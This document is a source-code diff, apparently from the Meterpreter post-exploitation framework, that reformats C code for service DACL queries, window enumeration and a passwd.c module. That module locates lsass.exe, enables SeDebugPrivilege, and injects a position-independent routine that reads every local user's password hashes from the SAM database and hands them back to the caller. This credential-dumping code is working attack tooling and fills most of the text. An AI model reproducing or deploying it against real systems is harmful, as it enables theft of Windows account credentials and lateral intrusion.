if ((pQueryServiceObjectSecurity = (PQUERYSERVICEOBJECTSECURITY)GetProcAddress(hAdvapi32, "QueryServiceObjectSecurity")) == NULL) {
|
||||
if ((pQueryServiceObjectSecurity = (PQUERYSERVICEOBJECTSECURITY)GetProcAddress(hAdvapi32, "QueryServiceObjectSecurity")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate QueryServiceObjectSecurity in advapi32.dll.");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI SERVICE] Searching for ConvertSecurityDescriptorToStringSecurityDescriptorA");
|
||||
if ((pCSDTSSDA = (PCSDTSSDA)GetProcAddress(hAdvapi32, "ConvertSecurityDescriptorToStringSecurityDescriptorA")) == NULL) {
|
||||
if ((pCSDTSSDA = (PCSDTSSDA)GetProcAddress(hAdvapi32, "ConvertSecurityDescriptorToStringSecurityDescriptorA")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate ConvertSecurityDescriptorToStringSecurityDescriptorA in advapi32.dll.");
|
||||
}
|
||||
|
||||
if (pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, (PSECURITY_DESCRIPTOR)&pSecurityDescriptor, 0, &dwBytesNeeded)) {
|
||||
if (pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, (PSECURITY_DESCRIPTOR)&pSecurityDescriptor, 0, &dwBytesNeeded))
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Call should have failed");
|
||||
}
|
||||
|
||||
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
|
||||
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Unexpected error getting security");
|
||||
}
|
||||
|
||||
if ((pSecurityDescriptor = (PSECURITY_DESCRIPTOR)malloc(dwBytesNeeded)) == NULL) {
|
||||
if ((pSecurityDescriptor = (PSECURITY_DESCRIPTOR)malloc(dwBytesNeeded)) == NULL)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI SERVICE] Out of memory", ERROR_OUTOFMEMORY);
|
||||
}
|
||||
|
||||
if (!pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, pSecurityDescriptor, dwBytesNeeded, &dwBytesNeeded)) {
|
||||
if (!pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, pSecurityDescriptor, dwBytesNeeded, &dwBytesNeeded))
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to query security information for DACL_SECURITY_INFORMATION");
|
||||
}
|
||||
|
||||
if (!pCSDTSSDA(pSecurityDescriptor, SDDL_REVISION_1, DACL_SECURITY_INFORMATION, &lpDaclString, NULL)) {
|
||||
if (!pCSDTSSDA(pSecurityDescriptor, SDDL_REVISION_1, DACL_SECURITY_INFORMATION, &lpDaclString, NULL))
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to get DACL string");
|
||||
}
|
||||
|
||||
@ -464,11 +501,13 @@ DWORD get_service_dacl(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse
|
||||
|
||||
} while (0);
|
||||
|
||||
if (lpDaclString) {
|
||||
if (lpDaclString)
|
||||
{
|
||||
LocalFree(lpDaclString);
|
||||
}
|
||||
|
||||
if (pSecurityDescriptor) {
|
||||
if (pSecurityDescriptor)
|
||||
{
|
||||
free(pSecurityDescriptor);
|
||||
}
|
||||
|
||||
|
@ -48,12 +48,15 @@ BOOL CALLBACK enumerate_windows_callback(HWND hWnd, LPARAM lParam)
|
||||
do
|
||||
{
|
||||
dprintf("[EXTAPI WINDOW] Getting window title %p", pState->pGetWindowTextA);
|
||||
if (pState->pGetWindowTextA(hWnd, windowTitle, MAX_WINDOW_TITLE) == 0) {
|
||||
if (pState->pGetWindowTextA(hWnd, windowTitle, MAX_WINDOW_TITLE) == 0)
|
||||
{
|
||||
dprintf("[EXTAPI WINDOW] Unable to get window title. Setting to <unknown>.");
|
||||
if (pState->bIncludeUnknown) {
|
||||
if (pState->bIncludeUnknown)
|
||||
{
|
||||
strncpy_s(windowTitle, MAX_WINDOW_TITLE, "<unknown>", MAX_WINDOW_TITLE - 1);
|
||||
}
|
||||
else {
|
||||
else
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
@ -91,18 +94,21 @@ DWORD enumerate_windows(Packet *response, BOOL bIncludeUnknown, QWORD parentWind
|
||||
do
|
||||
{
|
||||
dprintf("[EXTAPI WINDOW] Loading user32.dll");
|
||||
if ((hUser32 = LoadLibraryA("user32.dll")) == NULL) {
|
||||
if ((hUser32 = LoadLibraryA("user32.dll")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to load user32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI WINDOW] Searching for GetWindowTextA");
|
||||
if ((state.pGetWindowTextA = (PGETWINDOWTEXA)GetProcAddress(hUser32, "GetWindowTextA")) == NULL) {
|
||||
if ((state.pGetWindowTextA = (PGETWINDOWTEXA)GetProcAddress(hUser32, "GetWindowTextA")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to locate GetWindowTextA in user32.dll");
|
||||
}
|
||||
dprintf("[EXTAPI WINDOW] Found GetWindowTextA %p", state.pGetWindowTextA);
|
||||
|
||||
dprintf("[EXTAPI WINDOW] Searching for GetWindowThreadProcessId");
|
||||
if ((state.pGetWindowThreadProcessId = (PGETWINDOWTHREADPROCESSID)GetProcAddress(hUser32, "GetWindowThreadProcessId")) == NULL) {
|
||||
if ((state.pGetWindowThreadProcessId = (PGETWINDOWTHREADPROCESSID)GetProcAddress(hUser32, "GetWindowThreadProcessId")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to locate GetWindowThreadProcessId in user32.dll");
|
||||
}
|
||||
|
||||
@ -112,19 +118,22 @@ DWORD enumerate_windows(Packet *response, BOOL bIncludeUnknown, QWORD parentWind
|
||||
state.bIncludeUnknown = bIncludeUnknown;
|
||||
|
||||
dprintf("[EXTAPI WINDOW] Searching for EnumChildWindows");
|
||||
if ((pEnumChildWindows = (PENUMCHILDWINDOWS)GetProcAddress(hUser32, "EnumChildWindows")) == NULL) {
|
||||
if ((pEnumChildWindows = (PENUMCHILDWINDOWS)GetProcAddress(hUser32, "EnumChildWindows")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to locate EnumChildWindows in user32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI WINDOW] Beginning enumeration of child windows with parent %u", parentWindow);
|
||||
if (!pEnumChildWindows(parentWindow != 0 ? (HWND)parentWindow : NULL, (WNDENUMPROC)enumerate_windows_callback, (LPARAM)&state)) {
|
||||
if (!pEnumChildWindows(parentWindow != 0 ? (HWND)parentWindow : NULL, (WNDENUMPROC)enumerate_windows_callback, (LPARAM)&state))
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI WINDOW] Failed to enumerate child windows");
|
||||
}
|
||||
|
||||
dwResult = ERROR_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
if (hUser32) {
|
||||
if (hUser32)
|
||||
{
|
||||
FreeLibrary(hUser32);
|
||||
}
|
||||
|
||||
@ -149,7 +158,8 @@ DWORD request_window_enum(Remote *remote, Packet *packet)
|
||||
|
||||
do
|
||||
{
|
||||
if (!response) {
|
||||
if (!response)
|
||||
{
|
||||
dprintf("[EXTAPI WINDOW] Unable to create response packet");
|
||||
dwResult = ERROR_OUTOFMEMORY;
|
||||
break;
|
||||
@ -168,7 +178,8 @@ DWORD request_window_enum(Remote *remote, Packet *packet)
|
||||
} while (0);
|
||||
|
||||
dprintf("[EXTAPI WINDOW] Transmitting response back to caller.");
|
||||
if (response) {
|
||||
if (response)
|
||||
{
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
|
@ -1,3 +1,7 @@
|
||||
/*!
|
||||
* @file passwd.c
|
||||
* @brief Functionality for dumping password hashes from lsass.exe.
|
||||
*/
|
||||
#include "precomp.h"
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
@ -8,22 +12,39 @@
|
||||
#include <stdlib.h>
|
||||
#include <malloc.h>
|
||||
|
||||
/* define the type of information to retrieve from the SAM */
|
||||
/*! @brief Define the type of information to retrieve from the SAM. */
|
||||
#define SAM_USER_INFO_PASSWORD_OWFS 0x12
|
||||
|
||||
/* define types for samsrv functions */
|
||||
typedef struct _SAM_DOMAIN_USER {
|
||||
/*!
|
||||
* @brief Name of the cross-session event name used to sync reads between threads.
|
||||
* @remark It is very important that the event is prefixed with "Global\" otherwise it will
|
||||
* not be shared across processes that are in different sessions.
|
||||
*/
|
||||
#define READ_SYNC_EVENT_NAME "Global\\SAM"
|
||||
/*!
|
||||
* @brief Name of the cross-session event name used to sync resource deallocation between threads.
|
||||
* @remark It is very important that the event is prefixed with "Global\" otherwise it will
|
||||
* not be shared across processes that are in different sessions.
|
||||
*/
|
||||
#define FREE_SYNC_EVENT_NAME "Global\\FREE"
|
||||
|
||||
/*! @brief Struct that represents a SAM user in Windows. */
|
||||
typedef struct _SAM_DOMAIN_USER
|
||||
{
|
||||
DWORD dwUserId;
|
||||
LSA_UNICODE_STRING wszUsername;
|
||||
} SAM_DOMAIN_USER;
|
||||
|
||||
typedef struct _SAM_DOMAIN_USER_ENUMERATION {
|
||||
/*! @brief Struct that contains SAM user enumeration context. */
|
||||
typedef struct _SAM_DOMAIN_USER_ENUMERATION
|
||||
{
|
||||
DWORD dwDomainUserCount;
|
||||
SAM_DOMAIN_USER *pSamDomainUser;
|
||||
} SAM_DOMAIN_USER_ENUMERATION;
|
||||
|
||||
/* define the type for passing data */
|
||||
typedef struct _USERNAMEHASH {
|
||||
/*! @brief DTO-style object for passing data between Meterpreter and lsass. */
|
||||
typedef struct _USERNAMEHASH
|
||||
{
|
||||
char *Username;
|
||||
DWORD Length;
|
||||
DWORD RID;
|
||||
@ -39,9 +60,9 @@ typedef BOOL (WINAPI *SetEventType)(HANDLE);
|
||||
typedef BOOL (WINAPI *CloseHandleType)(HANDLE);
|
||||
typedef DWORD (WINAPI *WaitForSingleObjectType)(HANDLE, DWORD);
|
||||
|
||||
/* define the context/argument structure */
|
||||
typedef struct {
|
||||
|
||||
/*! Container for context that is given to the remote thread executed in lsass.exe. */
|
||||
typedef struct
|
||||
{
|
||||
/* kernel32 function pointers */
|
||||
LoadLibraryType LoadLibrary;
|
||||
GetProcAddressType GetProcAddress;
|
||||
@ -80,8 +101,8 @@ typedef struct {
|
||||
char wcstombs[9];
|
||||
|
||||
/* kernel sync object strings */
|
||||
char ReadSyncEvent[4];
|
||||
char FreeSyncEvent[5];
|
||||
char ReadSyncEvent[11];
|
||||
char FreeSyncEvent[12];
|
||||
|
||||
/* maximum wait time for sync */
|
||||
DWORD dwMillisecondsToWait;
|
||||
@ -117,21 +138,26 @@ typedef void *(*MemcpyType)(void *, const void *, size_t);
|
||||
/* define types for ntdll */
|
||||
typedef size_t (*WcstombsType)(char *, const wchar_t *, size_t);
|
||||
|
||||
|
||||
|
||||
char *StringCombine(char *string1, char *string2) {
|
||||
char *string_combine(char *string1, char *string2)
|
||||
{
|
||||
size_t s1len, s2len;
|
||||
|
||||
if (string2 == NULL) { // nothing to append
|
||||
if (string2 == NULL)
|
||||
{
|
||||
// nothing to append
|
||||
return string1;
|
||||
}
|
||||
|
||||
// TODO: what do we want to do if memory allocation fails?
|
||||
s2len = strlen(string2);
|
||||
if (string1 == NULL) { // create a new string
|
||||
if (string1 == NULL)
|
||||
{
|
||||
// create a new string
|
||||
string1 = (char *)malloc(s2len + 1);
|
||||
strncpy_s(string1, s2len + 1, string2, s2len + 1);
|
||||
} else { // append data to the string
|
||||
}
|
||||
else
|
||||
{ // append data to the string
|
||||
s1len = strlen(string1);
|
||||
string1 = (char *)realloc(string1, s1len + s2len + 1);
|
||||
strncat_s(string1, s1len + s2len + 1, string2, s2len + 1);
|
||||
@ -141,7 +167,13 @@ char *StringCombine(char *string1, char *string2) {
|
||||
}
|
||||
|
||||
/* retrieve a handle to lsass.exe */
|
||||
HANDLE GetLsassHandle() {
|
||||
/*!
|
||||
* @brief Locate lsass.exe and get a handle to the process.
|
||||
* @returns A handle to the lsass process, if found.
|
||||
* @retval NULL Indicates that the lsass process couldn't be found.
|
||||
*/
|
||||
HANDLE get_lsass_handle()
|
||||
{
|
||||
|
||||
DWORD dwProcessList[1024];
|
||||
DWORD dwProcessListSize;
|
||||
@ -150,20 +182,25 @@ HANDLE GetLsassHandle() {
|
||||
DWORD dwCount;
|
||||
|
||||
/* enumerate all pids on the system */
|
||||
if (EnumProcesses(dwProcessList, sizeof(dwProcessList), &dwProcessListSize)) {
|
||||
if (EnumProcesses(dwProcessList, sizeof(dwProcessList), &dwProcessListSize))
|
||||
{
|
||||
|
||||
/* only look in the first 256 process ids for lsass.exe */
|
||||
if (dwProcessListSize > sizeof(dwProcessList))
|
||||
{
|
||||
dwProcessListSize = sizeof(dwProcessList);
|
||||
}
|
||||
|
||||
/* iterate through all pids, retrieve the executable name, and match to lsass.exe */
|
||||
for (dwCount = 0; dwCount < dwProcessListSize; dwCount++) {
|
||||
if (hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessList[dwCount])) {
|
||||
if (GetModuleBaseName(hProcess, NULL, szProcessName, sizeof(szProcessName))) {
|
||||
if (strcmp(szProcessName, "lsass.exe") == 0) {
|
||||
for (dwCount = 0; dwCount < dwProcessListSize; dwCount++)
|
||||
{
|
||||
if (hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessList[dwCount]))
|
||||
{
|
||||
if (GetModuleBaseName(hProcess, NULL, szProcessName, sizeof(szProcessName))
|
||||
&& strcmp(szProcessName, "lsass.exe") == 0)
|
||||
{
|
||||
return hProcess;
|
||||
}
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
@ -171,31 +208,61 @@ HANDLE GetLsassHandle() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* set the process to have the SE_DEBUG_NAME privilige */
|
||||
int SetAccessPriv() {
|
||||
|
||||
HANDLE hToken;
|
||||
/*!
|
||||
* @brief Add the SE_DEBUG_NAME privilige to the current process.
|
||||
*/
|
||||
DWORD set_access_priv()
|
||||
{
|
||||
DWORD dwResult;
|
||||
HANDLE hToken = NULL;
|
||||
TOKEN_PRIVILEGES priv;
|
||||
|
||||
do
|
||||
{
|
||||
/* open the current process token, retrieve the LUID for SeDebug, enable the privilege, reset the token information */
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
|
||||
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) {
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
|
||||
{
|
||||
dwResult = GetLastError();
|
||||
dprintf("[PASSWD] Failed to open process: %u (%x)", dwResult, dwResult);
|
||||
break;
|
||||
}
|
||||
|
||||
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
|
||||
{
|
||||
dwResult = GetLastError();
|
||||
dprintf("[PASSWD] Failed to lookup priv value: %u (%x)", dwResult, dwResult);
|
||||
break;
|
||||
}
|
||||
|
||||
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
priv.PrivilegeCount = 1;
|
||||
|
||||
if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)) {
|
||||
CloseHandle(hToken);
|
||||
return 1;
|
||||
}
|
||||
if (!AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL))
|
||||
{
|
||||
dwResult = GetLastError();
|
||||
dprintf("[PASSWD] Failed to adjust token privs: %u (%x)", dwResult, dwResult);
|
||||
break;
|
||||
}
|
||||
|
||||
dwResult = ERROR_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
if (hToken != NULL)
|
||||
{
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
return 0;
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
int dumpSAM(FUNCTIONARGS *fargs) {
|
||||
|
||||
/*!
|
||||
* @brief Function that is copied to lsass and run in a separate thread to dump hashes.
|
||||
* @param fargs Collection of arguments containing important information, handles and pointers.
|
||||
* @remark The code in this fuction _must_ be position-independent. No direct calls to functions
|
||||
* are to be made.
|
||||
*/
|
||||
DWORD dump_sam(FUNCTIONARGS *fargs)
|
||||
{
|
||||
/* variables for samsrv function pointers */
|
||||
HANDLE hSamSrv = NULL, hSam = NULL;
|
||||
SamIConnectType pSamIConnect;
|
||||
@ -244,7 +311,11 @@ int dumpSAM(FUNCTIONARGS *fargs) {
|
||||
|
||||
/* load samsrv functions */
|
||||
hSamSrv = fargs->LoadLibrary(fargs->samsrvdll);
|
||||
if (hSamSrv == NULL) { dwError = 1; goto cleanup; }
|
||||
if (hSamSrv == NULL)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
pSamIConnect = (SamIConnectType)fargs->GetProcAddress(hSamSrv, fargs->samiconnect);
|
||||
pSamrOpenDomain = (SamrOpenDomainType)fargs->GetProcAddress(hSamSrv, fargs->samropendomain);
|
||||
@ -254,37 +325,63 @@ int dumpSAM(FUNCTIONARGS *fargs) {
|
||||
pSamIFree_SAMPR_USER_INFO_BUFFER = (SamIFree_SAMPR_USER_INFO_BUFFERType)fargs->GetProcAddress(hSamSrv, fargs->samifree_sampr_user_info_buffer);
|
||||
pSamIFree_SAMPR_ENUMERATION_BUFFER = (SamIFree_SAMPR_ENUMERATION_BUFFERType)fargs->GetProcAddress(hSamSrv, fargs->samifree_sampr_enumeration_buffer);
|
||||
pSamrCloseHandle = (SamrCloseHandleType)fargs->GetProcAddress(hSamSrv, fargs->samrclosehandle);
|
||||
|
||||
if (!pSamIConnect || !pSamrOpenDomain || !pSamrEnumerateUsersInDomain || !pSamrOpenUser || !pSamrQueryInformationUser ||
|
||||
!pSamIFree_SAMPR_USER_INFO_BUFFER || !pSamIFree_SAMPR_ENUMERATION_BUFFER || !pSamrCloseHandle) {
|
||||
!pSamIFree_SAMPR_USER_INFO_BUFFER || !pSamIFree_SAMPR_ENUMERATION_BUFFER || !pSamrCloseHandle)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
/* load advadpi32 functions */
|
||||
hAdvApi32 = fargs->LoadLibrary(fargs->advapi32dll);
|
||||
if (hAdvApi32 == NULL) { dwError = 1; goto cleanup; }
|
||||
if (hAdvApi32 == NULL)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
pLsaOpenPolicy = (LsaOpenPolicyType)fargs->GetProcAddress(hAdvApi32, fargs->lsaopenpolicy);
|
||||
pLsaQueryInformationPolicy = (LsaQueryInformationPolicyType)fargs->GetProcAddress(hAdvApi32, fargs->lsaqueryinformationpolicy);
|
||||
pLsaClose = (LsaCloseType)fargs->GetProcAddress(hAdvApi32, fargs->lsaclose);
|
||||
if (!pLsaOpenPolicy || !pLsaQueryInformationPolicy || !pLsaClose) { dwError = 1; goto cleanup; }
|
||||
if (!pLsaOpenPolicy || !pLsaQueryInformationPolicy || !pLsaClose)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
/* load msvcrt functions */
|
||||
hMsvcrt = fargs->LoadLibrary(fargs->msvcrtdll);
|
||||
if (hMsvcrt == NULL) { dwError = 1; goto cleanup; }
|
||||
if (hMsvcrt == NULL)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
pMalloc = (MallocType)fargs->GetProcAddress(hMsvcrt, fargs->malloc);
|
||||
pRealloc = (ReallocType)fargs->GetProcAddress(hMsvcrt, fargs->realloc);
|
||||
pFree = (FreeType)fargs->GetProcAddress(hMsvcrt, fargs->free);
|
||||
pMemcpy = (MemcpyType)fargs->GetProcAddress(hMsvcrt, fargs->memcpy);
|
||||
if (!pMalloc || !pRealloc || !pFree || !pMemcpy) { dwError = 1; goto cleanup; }
|
||||
if (!pMalloc || !pRealloc || !pFree || !pMemcpy)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
/* load ntdll functions */
|
||||
hNtDll = fargs->LoadLibrary(fargs->ntdlldll);
|
||||
if (hNtDll == NULL) { dwError = 1; goto cleanup; }
|
||||
if (hNtDll == NULL)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
pWcstombs = (WcstombsType)fargs->GetProcAddress(hNtDll, fargs->wcstombs);
|
||||
if (!pWcstombs) { dwError = 1; goto cleanup; }
|
||||
if (!pWcstombs)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
/* initialize the LSA_OBJECT_ATTRIBUTES structure */
|
||||
ObjectAttributes.RootDirectory = NULL;
|
||||
@ -295,39 +392,83 @@ int dumpSAM(FUNCTIONARGS *fargs) {
|
||||
ObjectAttributes.Length = sizeof(LSA_OBJECT_ATTRIBUTES);
|
||||
|
||||
/* open a handle to the LSA policy */
|
||||
if (pLsaOpenPolicy(NULL, &ObjectAttributes, POLICY_ALL_ACCESS, &hLSA) < 0) { dwError = 1; goto cleanup; }
|
||||
if (pLsaQueryInformationPolicy(hLSA, PolicyAccountDomainInformation, &pAcctDomainInfo) < 0) { dwError = 1; goto cleanup; }
|
||||
if (pLsaOpenPolicy(NULL, &ObjectAttributes, POLICY_ALL_ACCESS, &hLSA) < 0)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
if (pLsaQueryInformationPolicy(hLSA, PolicyAccountDomainInformation, &pAcctDomainInfo) < 0)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
/* connect to the SAM database */
|
||||
if (pSamIConnect(0, &hSam, MAXIMUM_ALLOWED, 1) < 0) { dwError = 1; goto cleanup; }
|
||||
if (pSamrOpenDomain(hSam, 0xf07ff, pAcctDomainInfo->DomainSid, &hDomain) < 0) { dwError = 1; goto cleanup; }
|
||||
if (pSamIConnect(0, &hSam, MAXIMUM_ALLOWED, 1) < 0)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
if (pSamrOpenDomain(hSam, 0xf07ff, pAcctDomainInfo->DomainSid, &hDomain) < 0)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
/* enumerate all users and store username, rid, and hashes */
|
||||
do {
|
||||
do
|
||||
{
|
||||
status = pSamrEnumerateUsersInDomain(hDomain, &hEnumerationHandle, 0, &pEnumeratedUsers, 0xFFFF, &dwNumberOfUsers);
|
||||
if (status < 0) { break; } // error
|
||||
if (status < 0)
|
||||
{
|
||||
break;
|
||||
} // error
|
||||
// 0x0 = no more, 0x105 = more users
|
||||
if (!dwNumberOfUsers) { break; } // exit if no users remain
|
||||
if (!dwNumberOfUsers)
|
||||
{
|
||||
break;
|
||||
} // exit if no users remain
|
||||
|
||||
if (fargs->dwDataSize == 0) { // first allocation
|
||||
if (fargs->dwDataSize == 0)
|
||||
{ // first allocation
|
||||
fargs->dwDataSize = dwNumberOfUsers * sizeof(USERNAMEHASH);
|
||||
fargs->pUsernameHashData = pMalloc(fargs->dwDataSize);
|
||||
} else { // subsequent allocations
|
||||
}
|
||||
else
|
||||
{ // subsequent allocations
|
||||
fargs->dwDataSize += dwNumberOfUsers * sizeof(USERNAMEHASH);
|
||||
fargs->pUsernameHashData = pRealloc(fargs->pUsernameHashData, fargs->dwDataSize);
|
||||
}
|
||||
if (fargs->pUsernameHashData == NULL) { dwError = 1; goto cleanup; }
|
||||
if (fargs->pUsernameHashData == NULL)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
for (dwCurrentUser = 0; dwCurrentUser < dwNumberOfUsers; dwCurrentUser++) {
|
||||
for (dwCurrentUser = 0; dwCurrentUser < dwNumberOfUsers; dwCurrentUser++)
|
||||
{
|
||||
|
||||
if (pSamrOpenUser(hDomain, MAXIMUM_ALLOWED, pEnumeratedUsers->pSamDomainUser[dwCurrentUser].dwUserId, &hUser) < 0) { dwError = 1; goto cleanup; }
|
||||
if (pSamrQueryInformationUser(hUser, SAM_USER_INFO_PASSWORD_OWFS, &pvUserInfo) < 0) { dwError = 1; goto cleanup; }
|
||||
if (pSamrOpenUser(hDomain, MAXIMUM_ALLOWED, pEnumeratedUsers->pSamDomainUser[dwCurrentUser].dwUserId, &hUser) < 0)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
if (pSamrQueryInformationUser(hUser, SAM_USER_INFO_PASSWORD_OWFS, &pvUserInfo) < 0)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
/* allocate space for another username */
|
||||
dwUsernameLength = (pEnumeratedUsers->pSamDomainUser[dwCurrentUser].wszUsername.Length / 2);
|
||||
(fargs->pUsernameHashData)[dwStorageIndex].Username = (char *)pMalloc(dwUsernameLength + 1);
|
||||
if ((fargs->pUsernameHashData)[dwStorageIndex].Username == NULL) { dwError = 1; goto cleanup; }
|
||||
for ( i=0; i < (dwUsernameLength + 1); i++ ) {
|
||||
if ((fargs->pUsernameHashData)[dwStorageIndex].Username == NULL)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
for ( i=0; i < (dwUsernameLength + 1); i++ )
|
||||
{
|
||||
(fargs->pUsernameHashData)[dwStorageIndex].Username[i] = 0;
|
||||
}
|
||||
|
||||
@ -354,18 +495,35 @@ int dumpSAM(FUNCTIONARGS *fargs) {
|
||||
|
||||
/* set the event to signify that the data is ready */
|
||||
hReadLock = fargs->OpenEvent(EVENT_MODIFY_STATE, FALSE, fargs->ReadSyncEvent);
|
||||
if (hReadLock == NULL) { dwError = 1; goto cleanup; }
|
||||
if (fargs->SetEvent(hReadLock) == 0) { dwError = 1; goto cleanup; }
|
||||
if (hReadLock == NULL)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
if (fargs->SetEvent(hReadLock) == 0)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
/* wait for the copying to finish before freeing all the allocated memory */
|
||||
hFreeLock = fargs->OpenEvent(EVENT_ALL_ACCESS, FALSE, fargs->FreeSyncEvent);
|
||||
if (hFreeLock == NULL) { dwError = 1; goto cleanup; }
|
||||
if (fargs->WaitForSingleObject(hFreeLock, fargs->dwMillisecondsToWait) != WAIT_OBJECT_0) { dwError = 1; goto cleanup; }
|
||||
if (hFreeLock == NULL)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
if (fargs->WaitForSingleObject(hFreeLock, fargs->dwMillisecondsToWait) != WAIT_OBJECT_0)
|
||||
{
|
||||
dwError = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
cleanup:
|
||||
|
||||
/* free all the allocated memory */
|
||||
for (dwCurrentUser = 0; dwCurrentUser < dwStorageIndex; dwCurrentUser++) {
|
||||
for (dwCurrentUser = 0; dwCurrentUser < dwStorageIndex; dwCurrentUser++)
|
||||
{
|
||||
pFree((fargs->pUsernameHashData)[dwCurrentUser].Username);
|
||||
}
|
||||
pFree(fargs->pUsernameHashData);
|
||||
@ -376,10 +534,22 @@ cleanup:
|
||||
pLsaClose(hLSA);
|
||||
|
||||
/* free library handles */
|
||||
if (hSamSrv) { fargs->FreeLibrary(hSamSrv); }
|
||||
if (hAdvApi32) { fargs->FreeLibrary(hAdvApi32); }
|
||||
if (hMsvcrt) { fargs->FreeLibrary(hMsvcrt); }
|
||||
if (hNtDll) { fargs->FreeLibrary(hNtDll); }
|
||||
if (hSamSrv)
|
||||
{
|
||||
fargs->FreeLibrary(hSamSrv);
|
||||
}
|
||||
if (hAdvApi32)
|
||||
{
|
||||
fargs->FreeLibrary(hAdvApi32);
|
||||
}
|
||||
if (hMsvcrt)
|
||||
{
|
||||
fargs->FreeLibrary(hMsvcrt);
|
||||
}
|
||||
if (hNtDll)
|
||||
{
|
||||
fargs->FreeLibrary(hNtDll);
|
||||
}
|
||||
|
||||
/* signal that the memory deallocation is complete */
|
||||
fargs->SetEvent(hReadLock);
|
||||
@ -393,19 +563,28 @@ cleanup:
|
||||
}
|
||||
|
||||
#ifdef _WIN64
|
||||
#define sizer setArgs
|
||||
#define sizer setup_dump_sam_arguments
|
||||
#else
|
||||
void sizer() { __asm { ret } }
|
||||
#endif
|
||||
|
||||
/* initialize the context structure - returns 0 on success, return 1 on error */
|
||||
int setArgs(FUNCTIONARGS *fargs, DWORD dwMillisecondsToWait) {
|
||||
|
||||
/*!
|
||||
* @brief Initialize the context structure that is used for retaining context in the remote thread.
|
||||
* @returns Indcation of success or failure.
|
||||
*/
|
||||
DWORD setup_dump_sam_arguments(FUNCTIONARGS *fargs, DWORD dwMillisecondsToWait)
|
||||
{
|
||||
DWORD dwResult;
|
||||
HMODULE hLibrary = NULL;
|
||||
|
||||
do
|
||||
{
|
||||
/* set loadlibrary and getprocaddress function addresses */
|
||||
hLibrary = LoadLibrary("kernel32");
|
||||
if (hLibrary == NULL) { return 1; }
|
||||
if (hLibrary == NULL)
|
||||
{
|
||||
